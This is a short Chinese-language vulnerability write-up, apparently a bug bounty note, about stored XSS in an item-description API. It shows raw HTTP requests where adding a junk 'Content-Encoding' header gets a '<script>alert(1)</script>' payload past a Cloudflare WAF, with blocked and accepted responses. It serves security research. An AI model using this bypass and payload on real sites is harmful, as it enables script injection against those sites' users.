

01 物品描述处存在存储型XSS+绕WAF

漏洞名称：物品描述处存在存储型 XSS
漏洞类别：存储型XSS + Bypass WAF
危害等级：中危
漏洞赏金：/
漏洞触发点：修改物品的描述详情处
漏洞细节简述：添加 Content-Encoding 字段绕过 WAF
参考来源：https://twitter.com/Jayesh25_/status/1719072435939459532
记录时间：2023.11.01

如何发现 XSS ？

- 在修改物品描述处，输入框可控，但有 WAF

如何绕过 WAF？

- 通过在请求头中添加“Content-Encoding: any_random_text”

Request

PrettyRawHex

```
1 POST /api/v1/updateDescription HTTP/2
2 Host: example.com
3 Cookie:
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
5 Content-Type: application/json
6 Accept: application/json, text/plain, */*
7 Accept-Encoding: gzip, deflate, br
8 Accept-Language: en-US,en;q=0.9
9
10 {
11   "id":993131,
12   "description":"</script><script>alert(1)</script>"
13 }
```

Request

PrettyRawHex

```
1 POST /api/v1/updateDescription HTTP/2
2 Host: example.com
3 Cookie:
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
5 Content-Type: application/json
6 Accept: application/json, text/plain, */*
7 Accept-Encoding: gzip, deflate, br
8 Accept-Language: en-US,en;q=0.9
9 Content-Encoding: WAFBYPASS
10
11 {
12   "id":993131,
13   "description":"</script><script>alert(1)</script>"
14 }
```

Response

PrettyRawHexRender

```
1 HTTP/2 403 Forbidden
2 Date: Mon, 30 Oct 2023 15:31:26 GMT
3 Content-Type: application/json; charset=utf-8
4 Cf-Cache-Status: DYNAMIC
5 Server: cloudflare
6 Cf-Ray: 81e4b486efe91266-DXB
7 Alt-Svc: h3=":443"; ma=86400
8
9 {
10   "status":403,
11   "error":"invalid_request",
12   "message":
13     "Your request is blocked by security policy.(SupportId: 11890874318806876864)",
14   "result":null
15 }
```

Response

PrettyRawHexRender

```
1 HTTP/2 200 OK
2 Date: Mon, 30 Oct 2023 15:41:50 GMT
3 Content-Type: application/json; charset=utf-8
4 Cf-Cache-Status: DYNAMIC
5 Server: cloudflare
6 Cf-Ray: 81e4b486efe91266-DXB
7
8 {
9   "status":200,
10  "success":true,
11  "data":{
12    "name":"</script><script>alert(1)</script>"
13  }
14 }
```